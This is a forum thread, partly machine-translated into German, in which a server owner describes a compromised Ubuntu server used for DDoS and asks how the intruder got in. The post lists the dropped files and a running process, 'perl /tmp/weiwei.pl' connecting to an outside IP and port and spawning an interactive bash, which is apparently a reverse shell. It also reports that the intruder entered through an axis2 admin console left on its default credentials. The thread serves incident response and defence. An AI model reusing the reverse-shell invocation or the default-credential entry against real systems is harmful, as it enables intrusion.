So finden Sie Schwachstellen in Ubuntu-Diensten

1146
bitkot

Ich habe einen Ubuntu-Server, der läuft. Heute habe ich festgestellt, dass der Server gehackt wurde und durch Amazon Missbrauchsbericht für DDoS verwendet wird.

Ich habe auf dem Server folgende Dinge gefunden.

Die folgenden verdächtigen Dateien befanden sich auf dem Server.

-rw-r--r-- 1 www-data www-data 759 Dec 21 15:38 weiwei.pl -rwxrwxrwx 1 www-data www-data 1223123 Dec 26 02:20 huizhen -rwxr-xr-x 1 www-data www-data 5 Jan 26 14:21 gates.lod -rwxrwxrwx 1 www-data www-data 1135000 Jan 27 14:09 sishen -rw-r--r-- 1 www-data www-data 759 Jan 27 14:36 weiwei.pl.5 -rw-r--r-- 1 www-data www-data 759 Jan 27 14:36 weiwei.pl.4 -rw-r--r-- 1 www-data www-data 759 Jan 27 14:36 weiwei.pl.3 -rw-r--r-- 1 www-data www-data 759 Jan 27 14:36 weiwei.pl.2 -rw-r--r-- 1 www-data www-data 759 Jan 27 14:36 weiwei.pl.1 -rwxr-xr-x 1 www-data www-data 5 Jan 28 14:00 vga.conf -rw-r--r-- 1 www-data www-data 119 Jan 29 06:22 cmd.n -rw-r--r-- 1 www-data www-data 73 Feb 1 01:01 conf.n 

Der folgende Prozess wurde ausgeführt

www-data 8292 10629 0 Jan28 ? 00:00:00 perl /tmp/weiwei.pl 222.186.42.207 5222 www-data 8293 8292 0 Jan28 ? 00:00:00 /bin/bash -i www-data 8293 8292 0 Jan28 ? 00:00:00 ./huizhen 

Ich lief clamavund löschte /tmp/huizhenund /tmp/sishenDateien, aber die Prozesse liefen immer noch weiwei.plund ./huizhenso tötete ich sie manuell.

Ich habe die folgenden Dienste auf dem Server ausgeführt.

  • SSH - Kein Standardport 22, nur Schlüsselauthentifizierung
  • MongoDB - Port ist für eine bestimmte Sicherheitsgruppe geöffnet
  • Memcache - Der Port ist für eine bestimmte Sicherheitsgruppe geöffnet
  • NodeJS - Port ist für eine bestimmte Sicherheitsgruppe geöffnet
  • Tomcat - 8080/8443 - Ports sind für axis2 Webservice und solr öffentlich

Ich gehe davon aus, dass der Hacker durch eine Schwachstelle von Tomcat / axis2 / solr geraten ist, weil der Prozess dieselbe Benutzergruppe wie Tomcat verwendet.

Ich habe jetzt 8080/8443 Ports blockiert und werde den Server durch einen neuen ersetzen. Auf Tomcat kann über nginx von einem anderen Server aus zugegriffen werden. Ich habe auch Sicherheitspatches mit unbeaufsichtigten Upgrades installiert .

Das Problem ist, wie man herausfindet, wie der Hacker in die Trojaner gekommen ist und diese gepflanzt hat. Welche weiteren Schritte kann ich unternehmen, um die Sicherheit zu erhöhen?

1
Die Sicherheitsanfälligkeit liegt fast sicher auf der Anwendungsebene. Überprüfen Sie daher Ihre Webserver-Konfiguration und die Konfiguration der darin ausgeführten Anwendungen. Stellen Sie sicher, dass Ihre Webserver- und Anwendungskomponenten (wie die Perl-Laufzeit) auf dem neuesten Stand sind. Frank Thomas vor 8 Jahren 2
Wenn ein Server einmal gefährdet ist, ist das Reinigen der Infektion wahrscheinlich mehr Ärger als es wert ist. Betrachten Sie eine Neuinstallation. Ben N vor 8 Jahren 0
@FrankThomas, Danke, du hattest recht. Es war tatsächlich auf der Anwendungsebene. Die admin-Konsole von axis2 war mit dem Standard-un / pw öffentlich zugänglich. Sie haben es gefunden und einen Webservice hochgeladen, der Zugriff auf Funktionen auf niedriger Ebene bietet, wie das Ausführen von Befehlen, den Zugriff auf die Shell, das Erstellen von Dateien usw. bitkot vor 8 Jahren 0
@ BenN, das ist das erste, was ich machen werde, aber das ist nicht das erste Mal, dass es passiert ist, also musste ich die Tür von dort finden, wo sie hereinkamen. bitkot vor 8 Jahren 0

1 Antwort auf die Frage

1
MariusMatutiae

This is quite a reasonable question. Strictly speaking, your best bet to answer it would have been to freeze your system and to perform forensic tests. Any later intervention on your part, including virus removal, will alter and possibly erase altogether any bread crumb left behind by your intruder.

Given that this path is no longer open to you, the best thing is to use a Vulnerability Scanner, a program i.e. designed exactly in order to stress-test your installation. There are very may, you may just Google the term Vulnerability Scanner, but by far the best known is Nessus. It comes in several version, from free to paid with different licenses, and it can become quite expensive, possibly more than you are willing to fork out.

However, there is also a free version of it, which comes pre-installed on Kali Linux. You will have to register it, even though it is completely free. Many of us use Kali by installing it onto a VM on a laptop, then performing the stress-tests from outside our homes, to see which defects (=non-patched, known vulnerabilities, most often) are left on the applications running on an Internet-facing server.

There are guides teaching you how to use that all over the Internet, and you can try it also within your own LAN (if you trust your firewall), and even from within the same pc, if you will be running Kali as a VM.